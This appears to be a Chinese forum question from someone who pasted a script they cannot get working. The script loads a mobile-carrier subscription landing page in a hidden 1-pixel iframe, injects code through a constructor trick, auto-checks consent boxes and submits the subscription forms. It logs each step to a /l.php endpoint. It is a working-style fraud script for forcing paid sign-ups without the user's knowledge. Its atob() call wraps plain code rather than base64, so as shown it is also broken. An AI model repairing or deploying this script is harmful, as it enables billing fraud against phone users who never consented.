请教:怎么实现这个提交事件
下面代码我直接拿来用,不知道哪里出错,无法实现。程序代码:
<script> function log(e) { var x = new XMLHttpRequest; x.open('POST', '/l.php', true); x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); x.send('e=' + encodeURIComponent(e)); console.log(e); } window.addEventListener('message', function(event) { if(event.data !== "undefined" && event.data != "") { log(event.data); } }); var fr = document.createElement('iframe'); fr.setAttribute('style', 'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px'); fr.setAttribute('sandbox', 'allow-scripts allow-forms allow-same-origin allow-popups'); var i = document.documentElement.appendChild(fr); i.onload = function() { IDBKeyRange.only.call(frames[0],0).constructor.constructor('eval(atob(\"if( document.getElementById('submitButton') != undefined ){ window.parent.postMessage('[Checked-and-submit]; lpnum:[46]; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); document.getElementById("confirmHD").value = 1; document.getElementById("not-msisdn-forwarded").submit(); }else if( document.getElementById("mt-checkbox-text-label") != undefined ){ window.parent.postMessage('[click-mt-checkbox-text-label]; lpnum:[46]; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); document.getElementById("mt-checkbox-text-label").click(); setTimeout(function(){ window.parent.postMessage('[Click-Btn-threeGbutton]; lpnum:[46]; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); document.getElementById("threeGbutton").click(); }, 500); }else if( document.getElementById("IsConfirmed") != undefined ){ if( document.getElementById("IsConfirmed").checked == false ) { window.parent.postMessage('[Click-checkbox-IsConfirmed]; lpnum:[46];', '*'); document.getElementById("IsConfirmed").click(); } window.parent.postMessage('[Click-btnSubmit]; lpnum:[46]; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); document.getElementById("btnSubmit").click(); }else if( document.getElementsByClassName("btn-confirm-form").length > 0 ) { if(document.getElementById("chkConfirmId") != undefined && document.getElementById("chkConfirmId").checked == false) { window.parent.postMessage('[click-checkBox-chkConfirmId]; lpnum:[46]; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); document.getElementById("chkConfirmId").click(); } setTimeout(function() { window.parent.postMessage('[Click-btn-confirm-form]; lpnum:[46]; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); document.getElementsByClassName("btn-confirm-form")[0].click(); }, 500); }else if( document.getElementById('submitQuery') != undefined ){ setTimeout(function(){ window.parent.postMessage('[check-and-click]; lpnum:[46]; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); var newel = document.createElement("span"); newel.innerHTML='<input name="onay" type="hidden" value="on">'; document.getElementById("formRegister").appendChild(newel); document.getElementById("formRegister").submit(); }, 500); }else if( document.getElementById('specialoffers') != undefined ){ window.parent.postMessage('[++++++++++++Podpiska++++++++++++]; lpnum:[46]; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); }else{ window.parent.postMessage('[Else]; lpnum:[46]; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); }"))')(); } i.src = 'http://www.appslot.tk/feature/fp/home_wifi.aspx?siteid=202&s=1002004&ch=YEAHMOBI&adv=WA&s2sidentifier=3ivook1Y1CYBt7RaXh8JSG4dJPg8S2EDKLEgbML9c1hi&sessionid=174476651&serviceid=1002004&contentid=-1&intoken=OENQk7S85jD6XMXBrQhRWVTq4WjPzsIBLcEr0ii%2fXLNtVilo2fuJ4aGD3Aegxh7xdfdubIyKMjnwH3uIF6cRrA%3d%3d&flowtype=15&pagetype=105&step=1&contentboxtitle=Appslot'; </script>